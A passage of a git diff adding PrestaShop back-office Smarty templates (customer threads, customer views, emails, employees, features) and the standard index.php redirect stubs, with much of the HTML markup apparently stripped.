of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/options/options.tpl"} +{block name="after"} +{if $use_sync} +
{l s='Sync'} + +
+ +

{l s='Click to synchronize mail automatically'}

+
+ + +
+

+ +{/if} +{/block} diff --git a/BO/themes/default/template/controllers/customer_threads/helpers/view/index.php b/BO/themes/default/template/controllers/customer_threads/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/customer_threads/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/customer_threads/helpers/view/view.tpl b/BO/themes/default/template/controllers/customer_threads/helpers/view/view.tpl new file mode 100755 index 0000000..059e304 --- /dev/null +++ b/BO/themes/default/template/controllers/customer_threads/helpers/view/view.tpl @@ -0,0 +1,191 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} +
+
+ +
+ +
+ +

+ + {l s='Forward this discussion to an employee:'} + +

+ + + + + +
+
+
 
+ + {if $thread->id_customer} + +
+ {if $orders && count($orders)} + {if $count_ok} +
+

{l s='Orders'}

+ + + + + + + + + + + {assign var=irow value=0} + {foreach $orders_ok as $order} + + + + + + + + + + {/foreach} +
{l s='ID'}{l s='Date'}{l s='Products:'}{l s='Total paid'}{l s='Payment: '}{l s='State'}{l s='Actions'}
{$order.id_order}{$order.date_add}{$order.nb_products}{$order.total_paid_real}{$order.payment}{$order.order_state} + + + +
+

+ {l s='Validated Orders:'} {$count_ok} {l s='for'} {$total_ok} +

+
+ {/if} + {/if} + {if $products && count($products)} +
+

{l s='Products:'}

+ + + + + + + + + {assign var=irow value=0} + {foreach $products as $product} + + + + + + + + {/foreach} +
{l s='Date'}{l s='ID'}{l s='Name'}{l s='Quantity'}{l s='Actions'}
{$product.date_add}{$product.product_id}{$product.product_name}{$product.product_quantity} + + + +
+
+ {/if} +
+ {/if} + +
+ {foreach $messages as $message} + {$message} + {/foreach} +
+ + + + + + +{/block} + diff --git a/BO/themes/default/template/controllers/customer_threads/index.php b/BO/themes/default/template/controllers/customer_threads/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/customer_threads/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/customer_threads/message.tpl b/BO/themes/default/template/controllers/customer_threads/message.tpl new file mode 100755 index 0000000..533d126 --- /dev/null +++ b/BO/themes/default/template/controllers/customer_threads/message.tpl @@ -0,0 +1,188 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{if !$email} + +
+ + {if !empty($message.employee_name)} + {$PS_SHOP_NAME} + {$PS_SHOP_NAME} - {$message.employee_name} + {else} + {$PS_SHOP_NAME} + {if !empty($message.id_customer)} + + {$message.customer_name} + + {else} + {$message.email} + {/if} + {/if} + + +
+ {if !empty($message.id_customer) && empty($message.id_employee)} +
+
{l s='Customer ID:'} +
+ {$message.id_customer} {l s='View'} + +
+
+ {/if} + +
+
{l s='Sent on:'}
+
{$message.date_add}
+ +
+ + {if empty($message.id_employee)} +
+
{l s='Browser:'}
+
{$message.user_agent}
+
+ {/if} + + {if !empty($message.file_name) && $file_name} +
+
{l s='File attachment'}
+
+ {l s='View'} + +
+
+ {/if} + + {if !empty($message.id_order) && empty($message.id_employee)} +
+
{l s='Order #'}
+
+ {$message.id_order} {l s='View'} +
+
+ {/if} + + {if !empty($message.id_product) && empty($message.id_employee)} +
+
{l s='Product #'}
+
+ {$message.id_product} {l s='View'} +
+
+ {/if} + +
+ {l s='Subject:'} + + +
+ + +{else} + +
+ {if $id_employee} + '. + {l s='View this thread'} +
+ {/if} + {l s='Sent by:'} + + {if !empty($message.customer_name)} + {$message.customer_name} ({$message.email}) + {else} + {$message.email} + {/if} + + {if !empty($message.id_customer) && empty($message.id_employee)} +
{l s='Customer ID:'} {$message.id_customer}
+ {/if} + + {if !empty($message.id_order) && empty($message.id_employee)} +
{l s='Order #'}: {$message.id_order}
+ {/if} + + {if !empty($message.id_product) && empty($message.id_employee)} +
{l s='Product #'}: {$message.id_product}
+ {/if} + +
{l s='Subject:'} {$message.subject} + +{/if} +
+
{l s='Thread ID:'}
+
{$message.id_customer_thread}
+
+
+
{l s='Message ID:'}
+
{$message.id_customer_message}
+
+
+
{l s='Message:'}
+
{$message.message|escape:'htmlall':'UTF-8'|nl2br}
+
+
+ +{if !$email} + {if empty($message.id_employee)} + + {/if} + + + +
+ +{/if} + + diff --git a/BO/themes/default/template/controllers/customers/helpers/index.php b/BO/themes/default/template/controllers/customers/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/customers/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/customers/helpers/list/index.php b/BO/themes/default/template/controllers/customers/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/customers/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/customers/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/customers/helpers/list/list_header.tpl new file mode 100755 index 0000000..39fec4f --- /dev/null +++ b/BO/themes/default/template/controllers/customers/helpers/list/list_header.tpl @@ -0,0 +1,71 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_header.tpl"} +{block name='override_header'} +{if $submit_form_ajax} + +{/if} +{/block} +{block name=leadin} + {if isset($delete_customer) && $delete_customer} +
+
+

{l s='How do you want to delete these customer(s)?'}

+

{l s='There are two ways of deleting a customer. Please choose your preferred method.'}

+
    +
  • + + +
  • +
  • + + +
  • +
+ {foreach $POST as $key => $value} + {if is_array($value)} + {foreach $value as $val} + + {/foreach} + {else} + + {/if} + {/foreach} +
+
+
+
 
+ + {/if} +{/block} diff --git a/BO/themes/default/template/controllers/customers/helpers/view/index.php b/BO/themes/default/template/controllers/customers/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/customers/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/customers/helpers/view/view.tpl b/BO/themes/default/template/controllers/customers/helpers/view/view.tpl new file mode 100755 index 0000000..b2f16ad --- /dev/null +++ b/BO/themes/default/template/controllers/customers/helpers/view/view.tpl @@ -0,0 +1,491 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + + +
+ +
+
+ + + +
+ + {$customer->firstname} {$customer->lastname} + +
+ {$customer->email} +

+ {l s='ID:'} {$customer->id|string_format:"%06d"}
+ {l s='Registration date:'} {$registration_date}
+ {l s='Last visit:'} {if $customer_stats['last_visit']}{$last_visit}{else}{l s='Never'}{/if}
+ {if $count_better_customers != '-'}{l s='Rank: #'} {$count_better_customers}
{/if} + {if $shop_is_feature_active}{l s='Shop:'} {$name_shop}
{/if} +
+ +
+
+ + + +
+ {l s='Language:'} {if isset($customerLanguage)}{$customerLanguage->name}{else}{l s='undefined'}{/if}
+ {l s='Newsletter:'} {if $customer->newsletter}{else}{/if}
+ {l s='Opt in:'} {if $customer->optin}{else}{/if}
+ {l s='Age:'} {$customer_stats['age']} {if isset($customer->birthday['age'])}({$customer_birthday}){else}{l s='Unknown'}{/if}

+ {l s='Last update:'} {$last_update}
+ {l s='Status:'} {if $customer->active}{else}{/if} + + {if $customer->isGuest()} +
+ {l s='This customer is registered as.'} {l s='Guest'} + {if !$customer_exists} +
+ +

+ {l s='This feature generates a random password before sending an email to your customer.'} +
+ {else} +
{l s='A registered customer account using the defined email address already exists. '} + {/if} +
+ {/if} + +
+
+
+ +
+

+ {l s='Add a private note'} +

+

{l s='This note will be displayed to all employees but not to customers.'}

+
+
+ + +
+
+
+
+ +
+

{l s='Messages'} ({count($messages)})

+ {if count($messages)} + + + + + + + {foreach $messages AS $message} + + + + + + {/foreach} +
{l s='Status'}{l s='Message'}{l s='Sent on'}
{$message['status']} + + {$message['message']}... + + {$message['date_add']}
+
 
+ {else} + {l s='%1$s %2$s has never contacted you' sprintf=[$customer->firstname, $customer->lastname]} + {/if} +
+ +
+
{l s='Vouchers'} ({count($discounts)}) + {if count($discounts)} + + + + + + + + + {foreach $discounts AS $key => $discount} + + + + + + + + {/foreach} +
{l s='ID'}{l s='Code'}{l s='Name'}{l s='Status'}{l s='Actions'}
{$discount['id_cart_rule']}{$discount['code']}{$discount['name']}{l s='Status'} + + +
+ {else} + {l s='%1$s %2$s has no discount vouchers' sprintf=[$customer->firstname, $customer->lastname]}. + {/if} +
+
+ + {* display hook specified to this page : AdminCustomers *} +
{hook h="displayAdminCustomers" id_customer=$customer->id}
+ +
 
+ +
+

{l s='Orders'} ({count($orders)})

+ {if $orders AND count($orders)} + {assign var=count_ok value=count($orders_ok)} + {if $count_ok} +
+

+ {l s='Valid orders:'} {$count_ok} {l s='for'} {$total_ok} +

+ + + + + + + + + + + + + + + + + + + + {foreach $orders_ok AS $key => $order} + + + + + + + + + + {/foreach} +
{l s='ID'}{l s='Date'}{l s='Payment: '}{l s='State'}{l s='Products'}{l s='Total spent'}{l s='Actions'}
{$order['id_order']}{$order['date_add']}{$order['payment']}{$order['order_state']}{$order['nb_products']}{$order['total_paid_real']}
+
+ {/if} + {assign var=count_ko value=count($orders_ko)} + {if $count_ko} +
+ + + + + + + + + + + + + + + + + + + + {foreach $orders_ko AS $key => $order} + + + + + + + + + + {/foreach} +
{l s='ID'}{l s='Date'}{l s='Payment: '}{l s='State'}{l s='Products'}{l s='Total spent'}{l s='Actions'}
{$order['id_order']}{$order['date_add']}{$order['payment']}{$order['order_state']}{$order['nb_products']}{$order['total_paid_real']}
+

{l s='Invalid orders:'} {$count_ko}

+
+ {/if} + {else} + {l s='%1$s %2$s has not placed any orders yet' sprintf=[$customer->firstname, $customer->lastname]} + {/if} +
+ +
+
+

{l s='Carts'} ({count($carts)})

+ {if $carts AND count($carts)} + + + + + + + + + + + + + + + + {foreach $carts AS $key => $cart} + + + + + + + + {/foreach} +
{l s='ID'}{l s='Date'}{l s='Carrier'}{l s='Total'}{l s='Actions'}
{$cart['id_cart']}{$cart['date_add']}{$cart['name']}{$cart['total_price']}
+ {else} + {l s='No cart is available'}. + {/if} +
+
+ +
 
+ {if $products AND count($products)} +
 
+

{l s='Products:'} ({count($products)})

+ + + + + + + + + + + + + + {foreach $products AS $key => $product} + + + + + + + {/foreach} +
{l s='Date'}{l s='Name'}{l s='Quantity'}{l s='Actions'}
{$product['date_add']}{$product['product_name']}{$product['product_quantity']}
+ {/if} +
 
+ +
+

{l s='Addresses'} ({count($addresses)})

+ {if count($addresses)} + + + + + + + + + + + + + + + + + + {foreach $addresses AS $key => $address} + + + + + + + + + {/foreach} +
{l s='Company'}{l s='Name'}{l s='Address'}{l s='Country'}{l s='Phone number(s)'}{l s='Actions'}
{if $address['company']}{$address['company']}{else}--{/if}{$address['firstname']} {$address['lastname']}{$address['address1']} {if $address['address2']}{$address['address2']}{/if} {$address['postcode']} {$address['city']}{$address['country']} + {if $address['phone']} + {$address['phone']} + {if $address['phone_mobile']}
{$address['phone_mobile']}{/if} + {else} + {if $address['phone_mobile']}
{$address['phone_mobile']}{else}--{/if} + {/if} +
+ + +
+ {else} + {l s='%1$s %2$s has not registered any addresses yet' sprintf=[$customer->firstname, $customer->lastname]} + {/if} +
+ +
+
+

+ {l s='Groups'} ({count($groups)}) + + + +

+ {if $groups AND count($groups)} + + + + + + + + + + + + {foreach $groups AS $key => $group} + + + + + + {/foreach} +
{l s='ID'}{l s='Name'}{l s='Actions'}
{$group['id_group']}{$group['name']}
+ {/if} +
+
+ +
 
+ + {if count($interested)} +
+

{l s='Products:'} ({count($interested)})

+ + + + + + + {foreach $interested as $key => $p} + + + + + + {/foreach} +
{$p['id']}{$p['name']}
+
+ {/if} + +
 
+
+ {* Last connections *} + {if count($connections)} +

{l s='Last connections'}

+ + + + + + + + + + + + + + + + {foreach $connections as $connection} + + + + + + + + {/foreach} +
{l s='Date'}{l s='Pages viewed'}{l s='Total time'}{l s='Origin'}{l s='IP Address'}
{$connection['date_add']}{$connection['pages']}{$connection['time']}{$connection['http_referer']}{$connection['ipaddress']}
+
 
+ {/if} +
+
+
+ {if count($referrers)} +

{l s='Referrers'}

+ + + + + {if $shop_is_feature_active}{/if} + + {foreach $referrers as $referrer} + + + + {if $shop_is_feature_active}{/if} + + {/foreach} +
{l s='Date'}{l s='Name'}{l s='Shop'}
{$referrer['date_add']}{$referrer['name']}{$referrer['shop_name']}
+ {/if} +
+
+{/block} +
+
 
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/customers/index.php b/BO/themes/default/template/controllers/customers/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/customers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/emails/content.tpl b/BO/themes/default/template/controllers/emails/content.tpl new file mode 100755 index 0000000..7ae001f --- /dev/null +++ b/BO/themes/default/template/controllers/emails/content.tpl @@ -0,0 +1,42 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + +{$content} + + diff --git a/BO/themes/default/template/controllers/emails/index.php b/BO/themes/default/template/controllers/emails/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/emails/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/employees/helpers/form/form.tpl b/BO/themes/default/template/controllers/employees/helpers/form/form.tpl new file mode 100755 index 0000000..395e949 --- /dev/null +++ b/BO/themes/default/template/controllers/employees/helpers/form/form.tpl @@ -0,0 +1,104 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="input"} + {if $input.type == 'select_theme'} + + {elseif $input.type == 'default_tab'} + + {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name=script} + $(document).ready(function(){ + $('select[name=id_profile]').change(function(){ + ifSuperAdmin($(this)); + + $.ajax({ + url: "{$link->getAdminLink('AdminEmployees')}", + cache: false, + data : { + ajax : '1', + action : 'getTabByIdProfile', + id_profile : $(this).val() + }, + dataType : 'json', + success : function(resp,textStatus,jqXHR) + { + if (resp != false) + { + $('select[name=default_tab]').html(''); + $.each(resp, function(key, r){ + if (r.id_parent == 0) + { + $('select[name=default_tab]').append(''); + $.each(r.children, function(k, value){ + $('select[name=default_tab]').append('') + }); + } + }); + } + } + }); + }); + ifSuperAdmin($('select[name=id_profile]')); + }); + + function ifSuperAdmin(el) + { + var val = $(el).val(); + + if (!val || val == {$smarty.const._PS_ADMIN_PROFILE_}) + { + $('.assoShop input[type=checkbox]').attr('disabled', true); + $('.assoShop input[type=checkbox]').attr('checked', true); + } + else + $('.assoShop input[type=checkbox]').attr('disabled', false); + } +{/block} diff --git a/BO/themes/default/template/controllers/employees/helpers/form/index.php b/BO/themes/default/template/controllers/employees/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/employees/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/employees/helpers/index.php b/BO/themes/default/template/controllers/employees/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/employees/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/employees/index.php b/BO/themes/default/template/controllers/employees/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/employees/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/feature_value/helpers/form/form.tpl b/BO/themes/default/template/controllers/feature_value/helpers/form/form.tpl new file mode 100755 index 0000000..f5c70a9 --- /dev/null +++ b/BO/themes/default/template/controllers/feature_value/helpers/form/form.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="field"} + {$smarty.block.parent} + {if $input.name == 'id_feature'} + {hook h="displayFeatureValueForm" id_feature_value=$feature_value->id} + {/if} +{/block} diff --git a/BO/themes/default/template/controllers/feature_value/helpers/form/index.php b/BO/themes/default/template/controllers/feature_value/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/feature_value/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/feature_value/helpers/index.php b/BO/themes/default/template/controllers/feature_value/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/feature_value/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/feature_value/index.php b/BO/themes/default/template/controllers/feature_value/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/feature_value/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/features/helpers/form/form.tpl b/BO/themes/default/template/controllers/features/helpers/form/form.tpl new file mode 100755 index 0000000..9a34b5b --- /dev/null +++ b/BO/themes/default/template/controllers/features/helpers/form/form.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="field"} + {$smarty.block.parent} + {if $input.name == 'name'} + {hook 